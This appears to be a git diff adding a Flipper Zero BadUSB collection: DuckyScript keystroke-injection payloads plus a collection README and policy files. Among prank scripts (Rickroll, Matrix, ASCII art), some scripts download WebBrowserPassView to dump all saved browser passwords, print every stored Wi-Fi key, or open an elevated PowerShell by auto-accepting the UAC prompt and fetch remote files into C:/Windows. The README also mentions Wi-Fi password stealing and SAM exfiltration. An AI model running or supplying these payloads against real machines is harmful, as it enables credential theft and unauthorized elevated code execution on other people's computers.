b/badusb/Screen-Shock/placeholder new file mode 100644 index 0000000..8b13789 --- /dev/null +++ b/badusb/Screen-Shock/placeholder @@ -0,0 +1 @@ + diff --git a/badusb/Show_Saved_Passwords.txt b/badusb/Show_Saved_Passwords.txt new file mode 100644 index 0000000..1b0dc50 --- /dev/null +++ b/badusb/Show_Saved_Passwords.txt @@ -0,0 +1,34 @@ +GUI r +DELAY 1000 +STRING powershell +ENTER +DELAY 1000 +STRING mkdir \temp ; cd \temp ; Invoke-WebRequest -Headers @{'Referer' = 'http://www.nirsoft.net/utils/web_browser_password.html'} -Uri http://www.nirsoft.net/toolsdownload/webbrowserpassview.zip -OutFile wbpv.zip ; Invoke-WebRequest -Uri https://www.7-zip.org/a/7za920.zip -OutFile 7z.zip ; Expand-Archive 7z.zip ; .\7z\7za.exe e wbpv.zip +ENTER +DELAY 5000 +STRING wbpv28821@ +ENTER +STRING .\WebBrowserPassView.exe +ENTER +DELAY 3000 +CTRL A +CTRL S +DELAY 1000 +STRING export.html +TAB +STRING h +ENTER +DELAY 1000 +ALT F4 +DELAY 1000 +STRING Start-Process msedge.exe 'file:///C:/temp/export.htm --inprivate' +ENTER +DELAY 2000 +ALT TAB +DELAY 1000 +STRING cd \ +ENTER +STRING rmdir -R \temp +ENTER +STRING EXIT +ENTER \ No newline at end of file diff --git a/badusb/Show_Saved_Passwords_FIXED.txt b/badusb/Show_Saved_Passwords_FIXED.txt new file mode 100644 index 0000000..43b8fcb --- /dev/null +++ b/badusb/Show_Saved_Passwords_FIXED.txt @@ -0,0 +1,36 @@ +GUI r +DELAY 1000 +STRING powershell +ENTER +DELAY 1000 +ENTER +DELAY 1000 +STRING rmdir -R \temp +ENTER +DELAY 1000 +STRING mkdir \temp ; cd \temp ; Invoke-WebRequest -Uri https://cdn.lullaby.cafe/file/webpassview.zip -OutFile webpassview.zip ; Invoke-WebRequest -Uri https://cdn.lullaby.cafe/file/7z.zip -OutFile 7z.zip ; Expand-Archive 7z.zip ; .\7z\7za.exe e webpassview.zip +ENTER +STRING .\WebBrowserPassView.exe +ENTER +DELAY 3000 +CTRL A +CTRL S +DELAY 1000 +STRING export.html +TAB +STRING h +ENTER +DELAY 1000 +ALT F4 +DELAY 1000 +STRING Start-Process msedge.exe 'file:///C:/temp/export.htm --inprivate' +ENTER +DELAY 2000 +ALT TAB +DELAY 1000 +STRING cd \ +ENTER +STRING rmdir -R \temp +ENTER +STRING EXIT +ENTER diff --git a/badusb/Show_WiFi_Passwords.txt b/badusb/Show_WiFi_Passwords.txt new file mode 100644 index 0000000..a2f1891 --- /dev/null +++ b/badusb/Show_WiFi_Passwords.txt @@ -0,0 +1,18 @@ +REM +REM Displays saved wireless passwords on screen +REM Author: UberGuidoZ +REM +DELAY 2000 +GUI r +DELAY 1000 +STRING cmd +DELAY 500 +ENTER +DELAY 2000 +STRING cls +DELAY 250 +ENTER +DELAY 250 +STRING for /f "skip=9 tokens=1,2 delims=:" %i in ('netsh wlan show profiles') do @echo %j | netsh wlan show profiles %j key=clear | findstr /C:"SSID name" /C:"Key Content" +DELAY 250 +ENTER diff --git a/badusb/SpamRickrollPayload.txt b/badusb/SpamRickrollPayload.txt new file mode 100644 index 0000000..a13e3bc --- /dev/null +++ b/badusb/SpamRickrollPayload.txt @@ -0,0 +1,82 @@ +REM author: Hacksaw (hack5aw) +REM Personal Repo: https://github.com/hack5aw/Ducky-Payloads & https://github.com/hack5aw/Flipper-collection +REM Title: Spam Rickroll Payload +REM Description: Spam Opens youtube and plays multiple Rickrolls at the same time +DELAY 1000 +GUI r +DELAY 500 +STRING https://www.youtube.com/watch?v=dQw4w9WgXcQ&ab_channel=RickAstley +ENTER +DELAY 500 +GUI r +DELAY 250 +STRING https://www.youtube.com/watch?v=dQw4w9WgXcQ&ab_channel=RickAstley +ENTER +DELAY 500 +GUI r +DELAY 250 +STRING https://www.youtube.com/watch?v=dQw4w9WgXcQ&ab_channel=RickAstley +ENTER +DELAY 500 +GUI r +DELAY 250 +STRING https://www.youtube.com/watch?v=dQw4w9WgXcQ&ab_channel=RickAstley +ENTER +DELAY 500 +GUI r +DELAY 250 +STRING https://www.youtube.com/watch?v=dQw4w9WgXcQ&ab_channel=RickAstley +ENTER +DELAY 500 +GUI r +DELAY 250 +STRING https://www.youtube.com/watch?v=dQw4w9WgXcQ&ab_channel=RickAstley +ENTER +DELAY 500 +GUI r +DELAY 250 +STRING https://www.youtube.com/watch?v=dQw4w9WgXcQ&ab_channel=RickAstley +ENTER +DELAY 500 +GUI r +DELAY 250 +STRING https://www.youtube.com/watch?v=dQw4w9WgXcQ&ab_channel=RickAstley +ENTER +DELAY 500 +GUI r +DELAY 250 +STRING https://www.youtube.com/watch?v=dQw4w9WgXcQ&ab_channel=RickAstley +ENTER +DELAY 500 +GUI r +DELAY 250 +STRING https://www.youtube.com/watch?v=dQw4w9WgXcQ&ab_channel=RickAstley +ENTER +DELAY 500 +GUI r +DELAY 250 +STRING https://www.youtube.com/watch?v=dQw4w9WgXcQ&ab_channel=RickAstley +ENTER +DELAY 500 +GUI r +DELAY 250 +STRING https://www.youtube.com/watch?v=dQw4w9WgXcQ&ab_channel=RickAstley +ENTER +DELAY 500 +GUI r +DELAY 250 +STRING https://www.youtube.com/watch?v=dQw4w9WgXcQ&ab_channel=RickAstley +ENTER +DELAY 500 +GUI r +DELAY 250 +STRING https://www.youtube.com/watch?v=dQw4w9WgXcQ&ab_channel=RickAstley +ENTER +DELAY 500 +GUI r +DELAY 250 +STRING https://www.youtube.com/watch?v=dQw4w9WgXcQ&ab_channel=RickAstley +ENTER +DELAY 900 +F11 +REM EXPLODE(im jk) \ No newline at end of file diff --git a/badusb/The_Matrix_Wake_Up.txt b/badusb/The_Matrix_Wake_Up.txt new file mode 100644 index 0000000..bf4f3d0 --- /dev/null +++ b/badusb/The_Matrix_Wake_Up.txt @@ -0,0 +1,150 @@ +REM Author: UberGuidoZ +REM Description: Emulates the White Rabbit Matrix scene +REM More info: https://github.com/UberGuidoZ/OMG-Payloads/tree/main/The_Matrix-Wake_Up +DELAY 3000 +GUI r +DELAY 750 +STRING cmd +ENTER +DELAY 750 +STRING color 02 && ECHO OFF && cls +ENTER +ALT ENTER +DELAY 1000 +STRING W +DELAY 100 +STRING a +DELAY 100 +STRING k +DELAY 100 +STRING e +DELAY 100 +SPACE +DELAY 100 +STRING u +DELAY 100 +STRING p +DELAY 100 +STRING . +DELAY 100 +SPACE +DELAY 1000 +STRING N +DELAY 250 +STRING e +DELAY 250 +STRING o +DELAY 250 +STRING . +DELAY 250 +STRING . +DELAY 250 +STRING . +DELAY 3500 +CTRL HOME +DELAY 1500 +STRING T +DELAY 300 +STRING h +DELAY 300 +STRING e +DELAY 300 +SPACE +DELAY 300 +STRING M +DELAY 300 +STRING a +DELAY 300 +STRING t +DELAY 300 +STRING r +DELAY 300 +STRING i +DELAY 300 +STRING x +DELAY 300 +SPACE +DELAY 300 +STRING h +DELAY 300 +STRING a +DELAY 300 +STRING s +DELAY 300 +SPACE +DELAY 300 +STRING y +DELAY 300 +STRING o +DELAY 300 +STRING u +DELAY 300 +STRING . +DELAY 300 +STRING . +DELAY 300 +STRING . +DELAY 3500 +CTRL HOME +STRING F +DELAY 100 +STRING o +DELAY 100 +STRING l +DELAY 100 +STRING l +DELAY 100 +STRING o +DELAY 100 +STRING w +DELAY 100 +SPACE +DELAY 100 +STRING t +DELAY 100 +STRING h +DELAY 100 +STRING e +DELAY 100 +SPACE +DELAY 100 +STRING w +DELAY 100 +STRING h +DELAY 100 +STRING i +DELAY 100 +STRING t +DELAY 100 +STRING e +DELAY 100 +SPACE +DELAY 100 +STRING r +DELAY 100 +STRING a +DELAY 100 +STRING b +DELAY 100 +STRING b +DELAY 100 +STRING i +DELAY 100 +STRING t +DELAY 100 +STRING . +DELAY 3500 +CTRL HOME +DELAY 1500 +STRING Knock, knock, Neo. +DELAY 3500 +CTRL HOME +STRING COLOR 7F +ENTER +ALT ENTER +STRING mode con:cols=18 lines=1 +ENTER +STRING powershell [console]::beep(200,325); [console]::beep(200,325) +ENTER +DELAY 1500 +ALT F4 diff --git a/badusb/UBGZ_Was_Here.txt b/badusb/UBGZ_Was_Here.txt new file mode 100644 index 0000000..84831b5 --- /dev/null +++ b/badusb/UBGZ_Was_Here.txt @@ -0,0 +1,27 @@ +DELAY 3000 +GUI r +DELAY 500 +STRING notepad +ENTER +DELAY 1000 +STRING __ ____ ______ _ __ _____ +ENTER +STRING / / / / /_ ___ _____/ ____/_ __(_)___/ /__/__ / +ENTER +STRING / / / / __ \/ _ \/ ___/ / __/ / / / / __ / __ \/ / +ENTER +STRING / /_/ / /_/ / __/ / / /_/ / /_/ / / /_/ / /_/ / /__ +ENTER +STRING \____/_,___/\___/_/ \____/\__,_/_/\__,_/\____/____/ +ENTER +ENTER +STRING _ __ __ __ +ENTER +STRING | | / /___ ______ / / / /__ ________ +ENTER +STRING | | /| / / __ `/ ___/ / /_/ / _ \/ ___/ _ \ +ENTER +STRING | |/ |/ / /_/ (__ ) / __ / __/ / / __/ +ENTER +STRING |__/|__/\__,_/____/ /_/ /_/\___/_/ \___/ +ENTER \ No newline at end of file diff --git a/badusb/UNC0V3R3D-BadUSB-Collection/CODE_OF_CONDUCT.md b/badusb/UNC0V3R3D-BadUSB-Collection/CODE_OF_CONDUCT.md new file mode 100644 index 0000000..be8beae --- /dev/null +++ b/badusb/UNC0V3R3D-BadUSB-Collection/CODE_OF_CONDUCT.md @@ -0,0 +1,128 @@ +# Contributor Covenant Code of Conduct + +## Our Pledge + +We as members, contributors, and leaders pledge to make participation in our +community a harassment-free experience for everyone, regardless of age, body +size, visible or invisible disability, ethnicity, sex characteristics, gender +identity and expression, level of experience, education, socio-economic status, +nationality, personal appearance, race, religion, or sexual identity +and orientation. + +We pledge to act and interact in ways that contribute to an open, welcoming, +diverse, inclusive, and healthy community. + +## Our Standards + +Examples of behavior that contributes to a positive environment for our +community include: + +* Demonstrating empathy and kindness toward other people +* Being respectful of differing opinions, viewpoints, and experiences +* Giving and gracefully accepting constructive feedback +* Accepting responsibility and apologizing to those affected by our mistakes, + and learning from the experience +* Focusing on what is best not just for us as individuals, but for the + overall community + +Examples of unacceptable behavior include: + +* The use of sexualized language or imagery, and sexual attention or + advances of any kind +* Trolling, insulting or derogatory comments, and personal or political attacks +* Public or private harassment +* Publishing others' private information, such as a physical or email + address, without their explicit permission +* Other conduct which could reasonably be considered inappropriate in a + professional setting + +## Enforcement Responsibilities + +Community leaders are responsible for clarifying and enforcing our standards of +acceptable behavior and will take appropriate and fair corrective action in +response to any behavior that they deem inappropriate, threatening, offensive, +or harmful. + +Community leaders have the right and responsibility to remove, edit, or reject +comments, commits, code, wiki edits, issues, and other contributions that are +not aligned to this Code of Conduct, and will communicate reasons for moderation +decisions when appropriate. + +## Scope + +This Code of Conduct applies within all community spaces, and also applies when +an individual is officially representing the community in public spaces. +Examples of representing our community include using an official e-mail address, +posting via an official social media account, or acting as an appointed +representative at an online or offline event. + +## Enforcement + +Instances of abusive, harassing, or otherwise unacceptable behavior may be +reported to the community leaders responsible for enforcement at +unc0v3r3d@proton.me. +All complaints will be reviewed and investigated promptly and fairly. + +All community leaders are obligated to respect the privacy and security of the +reporter of any incident. + +## Enforcement Guidelines + +Community leaders will follow these Community Impact Guidelines in determining +the consequences for any action they deem in violation of this Code of Conduct: + +### 1. Correction + +**Community Impact**: Use of inappropriate language or other behavior deemed +unprofessional or unwelcome in the community. + +**Consequence**: A private, written warning from community leaders, providing +clarity around the nature of the violation and an explanation of why the +behavior was inappropriate. A public apology may be requested. + +### 2. Warning + +**Community Impact**: A violation through a single incident or series +of actions. + +**Consequence**: A warning with consequences for continued behavior. No +interaction with the people involved, including unsolicited interaction with +those enforcing the Code of Conduct, for a specified period of time. This +includes avoiding interactions in community spaces as well as external channels +like social media. Violating these terms may lead to a temporary or +permanent ban. + +### 3. Temporary Ban + +**Community Impact**: A serious violation of community standards, including +sustained inappropriate behavior. + +**Consequence**: A temporary ban from any sort of interaction or public +communication with the community for a specified period of time. No public or +private interaction with the people involved, including unsolicited interaction +with those enforcing the Code of Conduct, is allowed during this period. +Violating these terms may lead to a permanent ban. + +### 4. Permanent Ban + +**Community Impact**: Demonstrating a pattern of violation of community +standards, including sustained inappropriate behavior, harassment of an +individual, or aggression toward or disparagement of classes of individuals. + +**Consequence**: A permanent ban from any sort of public interaction within +the community. + +## Attribution + +This Code of Conduct is adapted from the [Contributor Covenant][homepage], +version 2.0, available at +https://www.contributor-covenant.org/version/2/0/code_of_conduct.html. + +Community Impact Guidelines were inspired by [Mozilla's code of conduct +enforcement ladder](https://github.com/mozilla/diversity). + +[homepage]: https://www.contributor-covenant.org + +For answers to common questions about this code of conduct, see the FAQ at +https://www.contributor-covenant.org/faq. Translations are available at +https://www.contributor-covenant.org/translations. diff --git a/badusb/UNC0V3R3D-BadUSB-Collection/README.md b/badusb/UNC0V3R3D-BadUSB-Collection/README.md new file mode 100644 index 0000000..6364f53 --- /dev/null +++ b/badusb/UNC0V3R3D-BadUSB-Collection/README.md @@ -0,0 +1,153 @@ + +# The Ultimate Flipper Zero Badusb Collection + +NOTE: This is an archived version with some dead links/pics removed. + +# Before you start! + +In order to begin, you ``must read and accept`` the usage agreement. **This project is for educational purposes only**! Please seek permission before running any of the scripts provided by me. I cannot be held responsible for any damage that may occur as a result of your use of these scripts. +If you want to purchase a completely unique and personalized script contact me on discord. +![](header.png) + +## Installation + +Windows: + +```sh +1. git clone the repo + +2. Use the qFlipper app to drag the files into the folder onto your Flipper. +``` + +## Usage example + +To begin using the scripts, ``please carefully read`` the "readme.md" file provided with each script. This file contains ``important information`` on how to use the script safely. Keep in mind that some scripts may ``potentially harm your system``, so be cautious and do not run unfamiliar scripts on your personal computer. To test scripts, it is recommended to ``use a virtual machine`` for safety. + +## Release History + +* v1.0 + * Released all the files +* v1.1 + * CHANGE: More options on storing the grabbed Wifi Passwords (WifiPassStealer.txt) + * Added ``MEMZ.exe script`` +* v1.2 + * Added ``NoMoreSound.txt`` Script +* v1.3 + * A few delay_time errors ``fixed`` +* v1.4 + * Added a lot of new files to repo +* v1.5 + * Added ``DeleteMicrosoftStore.txt`` and fixed link to MEMZ.exe +* v1.6 + * Added a bunch of new files +* v1.7 (BIG UPDATE) + * Added ``a lot`` of new files, fixed a few files +* v1.7.1 + * Few fixes due to delay errors +* v1.8 + * Added ``ChangeWinUsername.txt`` and ``setWinPass.txt`` +* v1.9 + * Added a bunch of new files +* v2.0 + * Added ``DownLoadASCII`` and seperated ``Selfwriting`` Ascii + * Instant-download Ascii is about ``20x faster`` +* v2.1 + * Added readme files for every script + * Readme files contain ``important info`` about the script +* v2.2 + * Added the ``GoodUSB`` folder +* v2.5 + * Skipped a few releases + * Added a few files + * Fixed ``SAM exfiltration`` + +## Usage Agreement + +By downloading and using the scripts provided by UNC0V3R3D, you are automatically agreeing to the following usage agreement. If you do not agree to the terms of this agreement, you are not permitted to download or use the scripts. + +1. You acknowledge that UNC0V3R3D ``is not responsible`` for your actions or any damage you may cause as a result of using the scripts. +2. You are ``permitted`` to share all of the files. +3. You are ``allowed`` to modify the files, but are still responsible for your own actions. +4. If you are using my scripts in your own repo, please consider giving credits. +5. You are allowed to do everything the license says... + +# Instructions for newbies +In this quick instruction, you are going to learn how to set up the scripts and use them properly. +If you have any questions after reading this instruction, just DM me on Discord (UNC0V3R3D#8662). + +## Installation + +``` sh +1. Clone/Download the files directly from the repo or download the latest release. +2. Extract the files anywhere you like +3. If you are using a phone, just install the Flipper Zero mobile app. +4. If you are using a PC, just install the qFlipper app: https://flipperzero.one/update +5. Connect your Flipper via Bluetooth if you are using a phone, or connect it via usb if you are on PC. +6. Open qFlipper --> SD Card --> badusb --> Move the files here. +7. Now you are done with moving the files to your Flipper. + ``` + +## Explanation of the files + +Before using the files on your Flipper, it is important to thoroughly understand them. While the majority of the files in my BadUsb repository are relatively harmless, there are some that may potentially cause serious damage. It is important to exercise caution when using these files. + +Understanding DuckyScript
+ +* All BadUsb-Scripts are written in the ``DuckyScript 1.0`` language. +* The language is kind of ``easy`` to understand and to learn. +* If you really want to look further into this please refer to this [Documentation]. +* The kind of ``hard part`` are the PowerShell scripts. +* We use PowerShell or PowerShell scripts in ``97%`` of all DuckyScripts. +* PowerShell or PowerShell scripts give us ``full power`` over the machine. +* If you want to learn how to write PowerShell scripts after learning the DuckyScript basics please refer to this [PowerShell-Guide]. +* In BadUsb scripts, you will most likely find comments every few lines, that start with the command ``REM`` at the beginning. +* Those comments often ``explain the whole process`` and help you a lot. +* That's how you understand certain BadUsb scripts, but you can also often already identify the script by its file name. + +Using the scripts properly
+ +* So now that we have prepared everything, we can start to test our first script! +* We are going to run the first script on our ``own`` PC. +* Of course, you don't want to cause damage to your PC, so we are going to choose a harmless script. +* Let's choose a script that will draw something in the Notepad. +* I chose a [script] from my ASCII repository. +* If you want to open the text file on your phone or pc to see what is inside feel free to do so. +* To start you are going to start the Flipper and find the ``BadUSB`` category. +* There you will see all the scripts you have imported from your PC or phone. +* Now choose a harmless script and wait until the Flipper tells you to connect to a PC via the USB cable. +* Just press the middle button to start the script. +* Now the script should open Notepad and write a simple sentence "Hacked by UNC0V3R3D". +* If you succeeded congrats! You have just run your very first script. +* If something went wrong then please scroll further down to see the ``Troubleshooting section`` and follow the steps. + +Troubleshooting Problems
+ +First of all, you have to identify the problem. Then you can look at the list below and maybe you will recognize your problem. + +* ``1.0`` The script open random things and typed the text somewhere, where it shouldn't be. + * So this is often caused by ``too short delays`` between the commands. In the BadUsb script file, you should see some commands, that start with ``DELAY`` + and then there is a number behind it. ``Example: DELAY 500``. The number stands for ``milliseconds``. Changing the delay to a ``higher number`` than the current number should solve the problem ``(DELAY 500 --> DELAY 700)`` + +* ``1.1`` The Flipper shows an error like this: ``ERROR: line 5`` + * If the Flipper prints random errors like this you should check the ``text file``. The most common thing causing this error is apparently a ``random blank line`` + between the commands. Otherwise, make sure there is no line containing the ``"LOCALE .."`` command. It doesn't properly work on the Flipper, yeah I do not know why that is. If there is still an error, look at the line where the error is coming from and make sure there is no ``space`` at the beginning of the line. + +* I hope that you find a a solution for your problem. If you need help feel free to always contact me via Discord or Email. + +[PowerShell-Guide]: https://www.youtube.com/watch?v=IABNJEl2ZWk +[Documentation]: http://github.com/hak5darren/USB-Rubber-Ducky/wiki/Duckyscript +[script]: https://github.com/UberGuidoZ/Flipper/blob/main/BadUSB/UNC0V3R3D-BadUSB-Collection/Windows_Badusb/ASCII/Selfwriting/SimpleTroll.txt +[qFlipper]: https://flipperzero.one/update + +## Meta + +Distributed under the ``Attribution-NonCommercial-ShareAlike 4.0 International`` license. See ``LICENSE.md`` for more information. + +## Credits + +* [UberGuidoZ] , [FalsePhilosopher] and [I-am-Jakoby] +* Make sure to check them out! They are the reason this repository exists. When I started learning how to create badusb scripts i learnt from them. + +[UberGuidoZ]: https://github.com/UberGuidoZ +[FalsePhilosopher]: https://github.com/FalsePhilosopher +[I-am-Jakoby]: https://github.com/I-Am-Jakoby diff --git a/badusb/UNC0V3R3D-BadUSB-Collection/SECURITY.md b/badusb/UNC0V3R3D-BadUSB-Collection/SECURITY.md new file mode 100644 index 0000000..234b131 --- /dev/null +++ b/badusb/UNC0V3R3D-BadUSB-Collection/SECURITY.md @@ -0,0 +1,9 @@ +# Security Policy + +- Our project includes scripts that can potentially harm devices. As such, we strongly advise against using these scripts without obtaining explicit permission to run these scripts. + +- By using these scripts, you assume all responsibility for any damage that may occur to your devices. The project maintainers will not be held liable for any harm caused by the use of these scripts. + +- Additionally, we advise against using these scripts on any devices that are important to you or that you do not have explicit permission to modify. The scripts may potentially damage or render devices inoperable. + +- Please use these scripts at your own risk and with caution. We do not condone any illegal or malicious activities. diff --git a/badusb/UNC0V3R3D-BadUSB-Collection/Windows_Badusb/ASCII/DownLoadAscii/ghostbuster.txt b/badusb/UNC0V3R3D-BadUSB-Collection/Windows_Badusb/ASCII/DownLoadAscii/ghostbuster.txt new file mode 100644 index 0000000..1d7eabb --- /dev/null +++ b/badusb/UNC0V3R3D-BadUSB-Collection/Windows_Badusb/ASCII/DownLoadAscii/ghostbuster.txt @@ -0,0 +1,18 @@ +REM Author: UNC0V3R3D (UNC0V3R3D#8662 on Discord) +REM Description: Downloads the Txt file and opens it. +REM Version: 1.0 +REM Category: DownloadAscii +DELAY 1000 +WINDOWS d +DELAY 1500 +WINDOWS r +DELAY 1500 +STRING powershell Start-Process powershell -Verb runAs +ENTER +DELAY 560 +LEFTARROW +DELAY 500 +ENTER +DELAY 700 +STRING Invoke-WebRequest -Uri https://raw.githubusercontent.com/UNC0V3R3D/ressources/main/ghostbusters.txt -OutFile C:/Windows/6565.txt; Start-Process -FilePath "C:/windows/6565.txt" -WindowStyle maximized +ENTER diff --git a/badusb/UNC0V3R3D-BadUSB-Collection/Windows_Badusb/ASCII/DownLoadAscii/happyBday.txt b/badusb/UNC0V3R3D-BadUSB-Collection/Windows_Badusb/ASCII/DownLoadAscii/happyBday.txt new file mode 100644 index 0000000..037b728 --- /dev/null +++ b/badusb/UNC0V3R3D-BadUSB-Collection/Windows_Badusb/ASCII/DownLoadAscii/happyBday.txt @@ -0,0 +1,18 @@ +REM Author: UNC0V3R3D (UNC0V3R3D#8662 on Discord) +REM Description: Downloads the Txt file and opens it. +REM Version: 1.1 +REM Category: DownloadAscii +DELAY 1000 +WINDOWS d +DELAY 1500 +WINDOWS r +DELAY 1500 +STRING powershell Start-Process powershell -Verb runAs +ENTER +DELAY 560 +LEFTARROW +DELAY 500 +ENTER +DELAY 700 +STRING Invoke-WebRequest -Uri https://raw.githubusercontent.com/UNC0V3R3D/ressources/main/happyBDAY.txt -OutFile C:/Windows/6565.txt; Start-Process -FilePath "C:/windows/6565.txt" -WindowStyle maximized +ENTER diff --git a/badusb/UNC0V3R3D-BadUSB-Collection/Windows_Badusb/ASCII/DownLoadAscii/indian-tech-support.txt b/badusb/UNC0V3R3D-BadUSB-Collection/Windows_Badusb/ASCII/DownLoadAscii/indian-tech-support.txt new file mode 100644 index 0000000..bb32959 --- /dev/null +++ b/badusb/UNC0V3R3D-BadUSB-Collection/Windows_Badusb/ASCII/DownLoadAscii/indian-tech-support.txt @@ -0,0 +1,18 @@ +REM Author: UNC0V3R3D (UNC0V3R3D#8662 on Discord) +REM Description: Downloads the Txt file and opens it. +REM Version: 1.0 +REM Category: DownloadAscii +DELAY 1000 +WINDOWS d +DELAY 1500 +WINDOWS r +DELAY 1500 +STRING powershell Start-Process powershell -Verb runAs +ENTER +DELAY 560 +LEFTARROW +DELAY 500 +ENTER +DELAY 700 +STRING Invoke-WebRequest -Uri https://raw.githubusercontent.com/UNC0V3R3D/ressources/main/indian-tech-support.txt -OutFile C:/Windows/6565.txt; Start-Process -FilePath "C:/windows/6565.txt" -WindowStyle maximized +ENTER diff --git a/badusb/UNC0V3R3D-BadUSB-Collection/Windows_Badusb/ASCII/DownLoadAscii/koolaid.txt b/badusb/UNC0V3R3D-BadUSB-Collection/Windows_Badusb/ASCII/DownLoadAscii/koolaid.txt new file mode 100644 index 0000000..c4617c2 --- /dev/null +++ b/badusb/UNC0V3R3D-BadUSB-Collection/Windows_Badusb/ASCII/DownLoadAscii/koolaid.txt @@ -0,0 +1,18 @@ +REM Author: UNC0V3R3D (UNC0V3R3D#8662 on Discord) +REM Description: Downloads the Txt file and opens it. +REM Version: 1.0 +REM Category: DownloadAscii +DELAY 1000 +WINDOWS d +DELAY 1500 +WINDOWS r +DELAY 1500 +STRING powershell Start-Process powershell -Verb runAs +ENTER +DELAY 560 +LEFTARROW +DELAY 500 +ENTER +DELAY 700 +STRING Invoke-WebRequest -Uri https://raw.githubusercontent.com/UNC0V3R3D/ressources/main/koolaid.txt -OutFile C:/Windows/6565.txt; Start-Process -FilePath "C:/windows/6565.txt" -WindowStyle maximized +ENTER diff --git a/badusb/UNC0V3R3D-BadUSB-Collection/Windows_Badusb/ASCII/DownLoadAscii/memelaugh.txt b/badusb/UNC0V3R3D-BadUSB-Collection/Windows_Badusb/ASCII/DownLoadAscii/memelaugh.txt new file mode 100644 index 0000000..45b6213 --- /dev/null +++ b/badusb/UNC0V3R3D-BadUSB-Collection/Windows_Badusb/ASCII/DownLoadAscii/memelaugh.txt @@ -0,0 +1,18 @@ +REM Author: UNC0V3R3D (UNC0V3R3D#8662 on Discord) +REM Description: Downloads the Txt file and opens it. +REM Version: 1.0 +REM Category: DownloadAscii +DELAY 1000 +WINDOWS d +DELAY 1500 +WINDOWS r +DELAY 1500 +STRING powershell Start-Process powershell -Verb runAs +ENTER +DELAY 560 +LEFTARROW +DELAY 500 +ENTER +DELAY 700 +STRING Invoke-WebRequest -Uri https://raw.githubusercontent.com/UNC0V3R3D/ressources/main/memelaugh.txt -OutFile C:/Windows/6565.txt; Start-Process -FilePath "C:/windows/6565.txt" -WindowStyle maximized +ENTER diff --git a/badusb/UNC0V3R3D-BadUSB-Collection/Windows_Badusb/ASCII/DownLoadAscii/mrbean.txt b/badusb/UNC0V3R3D-BadUSB-Collection/Windows_Badusb/ASCII/DownLoadAscii/mrbean.txt new file mode 100644 index 0000000..fac5139 --- /dev/null +++ b/badusb/UNC0V3R3D-BadUSB-Collection/Windows_Badusb/ASCII/DownLoadAscii/mrbean.txt @@ -0,0 +1,18 @@ +REM Author: UNC0V3R3D (UNC0V3R3D#8662 on Discord) +REM Description: Downloads the Txt file and opens it. +REM Version: 1.0 +REM Category: DownloadAscii +DELAY 1000 +WINDOWS d +DELAY 1500 +WINDOWS r +DELAY 1500 +STRING powershell Start-Process powershell -Verb runAs +ENTER +DELAY 560 +LEFTARROW +DELAY 500 +ENTER +DELAY 700 +STRING Invoke-WebRequest -Uri https://raw.githubusercontent.com/UNC0V3R3D/ressources/main/mrbean.txt -OutFile C:/Windows/6565.txt; Start-Process -FilePath "C:/windows/6565.txt" -WindowStyle maximized +ENTER diff --git a/badusb/UNC0V3R3D-BadUSB-Collection/Windows_Badusb/ASCII/DownLoadAscii/mrbeanagain.txt b/badusb/UNC0V3R3D-BadUSB-Collection/Windows_Badusb/ASCII/DownLoadAscii/mrbeanagain.txt new file mode 100644 index 0000000..6f321c5 --- /dev/null +++ b/badusb/UNC0V3R3D-BadUSB-Collection/Windows_Badusb/ASCII/DownLoadAscii/mrbeanagain.txt @@ -0,0 +1,18 @@ +REM Author: UNC0V3R3D (UNC0V3R3D#8662 on Discord) +REM Description: Downloads the Txt file and opens it. +REM Version: 1.0 +REM Category: DownloadAscii +DELAY 1000 +WINDOWS d +DELAY 1500 +WINDOWS r +DELAY 1500 +STRING powershell Start-Process powershell -Verb runAs +ENTER +DELAY 560 +LEFTARROW +DELAY 500 +ENTER +DELAY 700 +STRING Invoke-WebRequest -Uri https://raw.githubusercontent.com/UNC0V3R3D/ressources/main/mrbeanagain.txt -OutFile C:/Windows/6565.txt; Start-Process -FilePath "C:/windows/6565.txt" -WindowStyle maximized +ENTER diff --git a/badusb/UNC0V3R3D-BadUSB-Collection/Windows_Badusb/ASCII/DownLoadAscii/ok.txt b/badusb/UNC0V3R3D-BadUSB-Collection/Windows_Badusb/ASCII/DownLoadAscii/ok.txt new file mode 100644 index 0000000..db33928 --- /dev/null +++ b/badusb/UNC0V3R3D-BadUSB-Collection/Windows_Badusb/ASCII/DownLoadAscii/ok.txt @@ -0,0 +1,18 @@ +REM Author: UNC0V3R3D (UNC0V3R3D#8662 on Discord) +REM Description: Downloads the Txt file and opens it. +REM Version: 1.0 +REM Category: DownloadAscii +DELAY 1000 +WINDOWS d +DELAY 1500 +WINDOWS r +DELAY 1500 +STRING powershell Start-Process powershell -Verb runAs +ENTER +DELAY 560 +LEFTARROW +DELAY 500 +ENTER +DELAY 700 +STRING Invoke-WebRequest -Uri https://raw.githubusercontent.com/UNC0V3R3D/ressources/main/ok.txt -OutFile C:/Windows/6565.txt; Start-Process -FilePath "C:/windows/6565.txt" -WindowStyle maximized +ENTER diff --git a/badusb/UNC0V3R3D-BadUSB-Collection/Windows_Badusb/ASCII/DownLoadAscii/pepefat.txt b/badusb/UNC0V3R3D-BadUSB-Collection/Windows_Badusb/ASCII/DownLoadAscii/pepefat.txt new file mode 100644 index 0000000..001ff6c --- /dev/null +++ b/badusb/UNC0V3R3D-BadUSB-Collection/Windows_Badusb/ASCII/DownLoadAscii/pepefat.txt @@ -0,0 +1,18 @@ +REM Author: UNC0V3R3D (UNC0V3R3D#8662 on Discord) +REM Description: Downloads the Txt file and opens it. +REM Version: 1.0 +REM Category: DownloadAscii +DELAY 1000 +WINDOWS d +DELAY 1500 +WINDOWS r +DELAY 1500 +STRING powershell Start-Process powershell -Verb runAs +ENTER +DELAY 560 +LEFTARROW +DELAY 500 +ENTER +DELAY 700 +STRING Invoke-WebRequest -Uri https://raw.githubusercontent.com/UNC0V3R3D/ressources/main/pepeFAT.txt -OutFile C:/Windows/6565.txt; Start-Process -FilePath "C:/windows/6565.txt" -WindowStyle maximized +ENTER diff --git a/badusb/UNC0V3R3D-BadUSB-Collection/Windows_Badusb/ASCII/DownLoadAscii/pepefrog.txt b/badusb/UNC0V3R3D-BadUSB-Collection/Windows_Badusb/ASCII/DownLoadAscii/pepefrog.txt new file mode 100644 index 0000000..68c4f45 --- /dev/null +++ b/badusb/UNC0V3R3D-BadUSB-Collection/Windows_Badusb/ASCII/DownLoadAscii/pepefrog.txt @@ -0,0 +1,18 @@ +REM Author: UNC0V3R3D (UNC0V3R3D#8662 on Discord) +REM Description: Downloads the Txt file and opens it. +REM Version: 1.0 +REM Category: DownloadAscii +DELAY 1000 +WINDOWS d +DELAY 1500 +WINDOWS r +DELAY 1500 +STRING powershell Start-Process powershell 